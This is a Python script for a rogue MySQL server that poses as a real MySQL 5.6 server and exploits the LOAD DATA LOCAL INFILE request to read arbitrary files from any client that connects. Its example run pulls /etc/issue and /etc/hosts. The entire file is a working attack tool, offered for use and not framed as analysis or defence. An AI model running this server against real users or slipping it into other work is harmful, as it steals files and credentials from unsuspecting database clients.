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rogue_mysql_server.py
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from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter
_rouge_mysql_sever_read_file_result = {
}
_rouge_mysql_server_read_file_end = False
def checkVersionPy3():
return not version_info < (3, 0)
def rouge_mysql_sever_read_file(fileName, port, showInfo):
if showInfo:
log = getLogger(__name__)
log.setLevel(INFO)
tmp_format = StreamHandler()
tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))
log.addHandler(
tmp_format
)
def _infoShow(*args):
if showInfo:
log.info(*args)
# ================================================
# =======No need to change after this lines=======
# ================================================
__author__ = 'Gifts'
__modify__ = 'Morouu'
global _rouge_mysql_sever_read_file_result
class _LastPacket(Exception):
pass
class _OutOfOrder(Exception):
pass
class _MysqlPacket(object):
packet_header = Struct('<Hbb')
packet_header_long = Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, _MysqlPacket):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "".join(
(
header.decode("latin1") if checkVersionPy3() else header,
self.payload
)
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])
payload = raw_data[1:]
return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)
class _HttpRequestHandler(async_chat):
def __init__(self, addr):
async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN",
"Auth",
"Data",
"MoreLength",
"File"]
self.state = self.stateList[0]
self.sub_state = self.stateList[1]
self.logined = False
self.file = ""
self.push(
_MysqlPacket(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)))
)
self.order = 1
self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
_infoShow('Pushed: %r', data)
data = str(data)
async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)
def collect_incoming_data(self, data):
_infoShow('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)
self.ibuffer = []
if self.state == self.stateList[0]: # LEN
len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(
data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = self.stateList[2] # Data
else:
self.state = self.stateList[3] # MoreLength
elif self.state == self.stateList[3]: # MoreLength
if (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = self.stateList[2] # Data
elif self.state == self.stateList[2]: # Data
packet = _MysqlPacket.parse(data)
try:
if self.order != packet.packet_num:
raise _OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
_infoShow('Query')
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.sub_state = self.stateList[4] # File
self.file = fileName.pop(0)
# end
if len(fileName) == 1:
global _rouge_mysql_server_read_file_end
_rouge_mysql_server_read_file_end = True
self.push(_MysqlPacket(
packet,
'\xFB{0}'.format(self.file)
))
elif packet.payload[0] == '\x1b':
_infoShow('SelectDB')
self.push(_MysqlPacket(
packet,
'\xfe\x00\x00\x02\x00'
))
raise _LastPacket()
elif packet.payload[0] in '\x02':
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == self.stateList[4]: # File
_infoShow('-- result')
# fileContent
_infoShow('Result: %r', data)
if len(data) == 1:
self.push(
_MysqlPacket(packet, '\0\0\0\x02\0\0\0')
)
raise _LastPacket()
else:
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.order = packet.packet_num + 1
global _rouge_mysql_sever_read_file_result
_rouge_mysql_sever_read_file_result.update(
{self.file: data.encode() if not checkVersionPy3() else data}
)
# test
# print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)
self.close_when_done()
elif self.sub_state == self.stateList[1]: # Auth
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
else:
_infoShow('-- else')
raise ValueError('Unknown packet')
except _LastPacket:
_infoShow('Last packet')
self.state = self.stateList[0] # LEN
self.sub_state = None
self.order = 0
self.set_terminator(3)
except _OutOfOrder:
_infoShow('Out of order')
self.push(None)
self.close_when_done()
else:
_infoShow('Unknown state')
self.push('None')
self.close_when_done()
class _MysqlListener(dispatcher):
def __init__(self, sock=None):
dispatcher.__init__(self, sock)
if not sock:
self.create_socket(AF_INET, SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', port))
except error:
exit()
self.listen(1)
def handle_accept(self):
pair = self.accept()
if pair is not None:
_infoShow('Conn from: %r', pair[1])
_HttpRequestHandler(pair)
if _rouge_mysql_server_read_file_end:
self.close()
_MysqlListener()
_asyLoop()
return _rouge_mysql_sever_read_file_result
if __name__ == '__main__':
for name, content in rouge_mysql_sever_read_file(fileName=["/etc/issue", "/etc/hosts"], port=3307,showInfo=True).items():
print(name + ":\n" + content.decode())